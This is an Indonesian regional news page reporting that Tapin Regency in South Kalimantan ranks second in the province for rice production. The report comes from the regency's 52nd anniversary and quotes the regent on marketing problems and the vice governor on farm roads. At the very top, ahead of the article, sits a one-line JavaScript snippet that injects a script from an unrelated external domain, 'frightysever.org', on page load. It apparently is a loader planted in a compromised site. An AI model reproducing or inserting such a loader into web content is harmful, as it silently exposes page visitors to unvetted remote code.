(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sektor Pertanian di Kabupaten Tapin Nomor Dua di Kalsel


RANTAU, Kabupaten Tapin mampu meraih sejumlah penghargaan dari pusat. Penghargaan yang didapat berbagai bidang diserahkan beberapa kementerian hingga Presiden Joko Widodo itu ditampilkan pada peringatan hari jadi Kabupaten Tapin ke 52 melalui visual layar LED, di kawasan Rantau Baru, Kamis (30/11).

Salah satu penghargaan yang paling menonjol yakni di bidang pertanian. Menurut Bupati Tapin HM Arifin Arpan, keberhasilan itu tidak terlepas dari kegigihan para petani yang didukung oleh petugas lapangan sebagai upaya peningkatan kesejahteraan petani. Namun ia menyadari akan masih adanya kekurangan yang ada dan dihadapi bersama-sama. Menurutnya kekurangan itu akan diperbaiki salah satunya adalah masalah pemasaran.

“Petani terkadang kesulitan untuk memasarkan hasil pertanian mereka saat musim panen tiba, bahkan Bulog pun tak mampu untuk menampungnya sesuai dengan keinginan petani, hingga terkadang pihak ketiga yang menampung hasil tani mereka,” ungkapnya.

Ditambahkannya, hingga saat ini Tapin berusaha untuk melakukan pemasaran melalui toko-toko modern.

“Kita coba masuk ke pemasaran toko-toko modern melalui kemasan,” sebutnya.

Sementara itu Wakil Gubernur Kalimantan Selatan H Rudy Resnawan menilai dengan usia 52 tahun Kabupaten Tapin semakin menunjukan kemajuan pesat, terutama bidang pertanian. Menurut Wagub Kalsel, keberhasilan petani juga tidak terlepas dari dukungan infrastruktur jalan tani yang ada. “Sejauh ini jalan tani yang ada sudah cukup bagus, namun masih ada infrastruktur tani tersebut yang belum selesai pengerjaannya 15 hingga 20 persen,” katanya.

Peningkatan tajam di sektor pertanian terutama produksi padi membuat Tapin menempati posisi kedua sebagai lumbung penghasil padi tertinggi setelah Barito Kuala. Selain padi juga berkembang pesat tanaman jagung, cabai dan bawang merah.

“Bawang merah dengan capaian tanam seluas 435 hektare itu sudah menghasilkan ribuan ton, kita berharap Tapin juga mampu mengembangkan pasarnya hingga keluar Kalsel,”  katanya.(emroni)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.